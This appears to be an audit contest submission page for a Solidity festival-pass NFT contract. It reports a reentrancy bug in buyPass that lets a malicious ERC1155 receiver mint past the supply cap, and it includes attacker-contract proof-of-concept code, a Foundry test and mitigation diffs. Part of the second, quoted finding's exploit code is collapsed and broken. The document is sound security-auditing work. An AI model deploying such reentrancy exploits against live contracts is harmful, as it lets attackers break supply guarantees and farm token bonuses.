Beatland Festival

AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

buyPass increments passSupply after _mint, so the ERC1155 receive callback can re-enter and mint passes beyond passMaxSupply

Description

buyPass mints the ERC1155 pass first and only then increments the supply counter:

function buyPass(uint256 collectionId) external payable {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
_mint(msg.sender, collectionId, 1, ""); // ERC1155 _mint -> onERC1155Received callback to msg.sender
++passSupply[collectionId]; // supply incremented AFTER the callback
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) { BeatToken(beatToken).mint(msg.sender, bonus); }
emit PassPurchased(msg.sender, collectionId);
}

ERC1155 _mint runs the safe-transfer acceptance check, invoking onERC1155Received on msg.sender (when it's a contract) after the balance is credited but before passSupply is incremented. A malicious buyer contract re-enters buyPass from that callback: the cap check passSupply < passMaxSupply still reads the stale, not-yet-incremented value, so it passes again, mints another pass, and recurses.

Starting from passSupply == passMaxSupply - 1, the attacker can mint several passes beyond passMaxSupply, breaking the hard cap. Each nested call pays the price and — for VIP/BACKSTAGE — also collects the per-pass welcome BEAT bonus (5e18 / 15e18), so the reentrancy additionally farms extra bonus BEAT.

Risk

Impact: Medium. The passMaxSupply scarcity cap is bypassable, minting more passes than allowed and farming the per-pass welcome bonus. It dilutes the advertised supply guarantee that pass buyers rely on.

Likelihood: Medium. Requires the buyer to be a contract implementing onERC1155Received and to fund each nested purchase; both are trivial for an attacker.

Proof of Concept

contract CapBreaker is IERC1155Receiver {
FestivalPass p; uint256 id; uint256 n;
function onERC1155Received(address, address, uint256, uint256, bytes calldata) external returns (bytes4) {
if (n > 0) { n--; p.buyPass{value: p.passPrice(id)}(id); } // re-enter BEFORE passSupply++
return this.onERC1155Received.selector;
}
function supportsInterface(bytes4) external pure returns (bool) { return true; }
}
function test_reentrancyExceedsMaxSupply() public {
// configure BACKSTAGE with maxSupply = 1, and drive passSupply to 0 (fresh).
CapBreaker atk = new CapBreaker(pass_, BACKSTAGE_PASS, 3); // will re-enter 3 extra times
vm.deal(address(atk), 10 ether);
atk.buy(); // one outer buyPass + 3 nested
// EXPECTED: at most maxSupply (1) minted. ACTUAL: 4 minted, cap blown.
assertEq(pass_.balanceOf(address(atk), BACKSTAGE_PASS), 4);
assertGt(pass_.passSupply(BACKSTAGE_PASS), pass_.passMaxSupply(BACKSTAGE_PASS));
}

Expected: passSupply can never exceed passMaxSupply. Actual: reentrancy through the ERC1155 mint callback mints past the cap.

Recommended Mitigation

Apply checks-effects-interactions — increment the supply before the mint — and/or add a reentrancy guard:

require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
++passSupply[collectionId]; // effects first
_mint(msg.sender, collectionId, 1, ""); // interaction (callback) last

With the counter already incremented, a re-entrant buyPass sees the updated passSupply and is correctly rejected at the cap. Adding OpenZeppelin ReentrancyGuard's nonReentrant to buyPass (and attendPerformance/redeemMemorabilia) is a belt-and-suspenders fix.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply

# Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply ## Description * Under normal circumstances, the system should control the supply of tokens or resources to ensure that it does not exceed a predefined maximum limit. This helps maintain system stability, security, and predictable behavior. * The function `FestivalPass:buyPass` does not follow the **Checks-Effects-Interactions** pattern. If a user uses a malicious contract as their account and includes reentrancy logic, they can bypass the maximum supply limit. ```solidity function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer @> _mint(msg.sender, collectionId, 1, ""); // question: potential reentrancy? ++passSupply[collectionId]; // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } emit PassPurchased(msg.sender, collectionId); } ``` ## Risk **Likelihood**: * If a user uses a contract wallet with reentrancy logic, they can trigger multiple malicious calls during the execution of the `_mint` function. **Impact**: * Although the attacker still pays for each purchase, the total number of minted NFTs will exceed the intended maximum supply. This can lead to supply inflation and user dissatisfaction. ## Proof of Concept ````Solidity //SPDX-License-Identifier: MIT pragma solidity 0.8.25; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "../src/FestivalPass.sol"; import "./FestivalPass.t.sol"; import {console} from "forge-std/Test.sol"; contract AttackBuyPass{ address immutable onlyOnwer; FestivalPassTest immutable festivalPassTest; FestivalPass immutable festivalPass; uint256 immutable collectionId; uint256 immutable configPassPrice; uint256 immutable configPassMaxSupply; uint256 hackMintCount = 0; constructor(FestivalPassTest _festivalPassTest, FestivalPass _festivalPass, uint256 _collectionId, uint256 _configPassPrice, uint256 _configPassMaxSupply) payable { onlyOnwer = msg.sender; festivalPassTest = _festivalPassTest; festivalPass = _festivalPass; collectionId = _collectionId; configPassPrice = _configPassPrice; configPassMaxSupply = _configPassMaxSupply; hackMintCount = 1; } receive() external payable {} fallback() external payable {} function DoAttackBuyPass() public { require(msg.sender == onlyOnwer, "AttackBuyPass: msg.sender != onlyOnwer"); // This attack can only bypass the "maximum supply" restriction. festivalPass.buyPass{value: configPassPrice}(collectionId); } function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4){ if (hackMintCount festivalPass.passMaxSupply(targetPassId)); } } ``` ```` ## Recommended Mitigation * Refactor the function `FestivalPass:buyPass` to follow the **Checks-Effects-Interactions** principle. ```diff function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer - _mint(msg.sender, collectionId, 1, ""); ++passSupply[collectionId]; + emit PassPurchased(msg.sender, collectionId); + _mint(msg.sender, collectionId, 1, ""); // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } - emit PassPurchased(msg.sender, collectionId); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!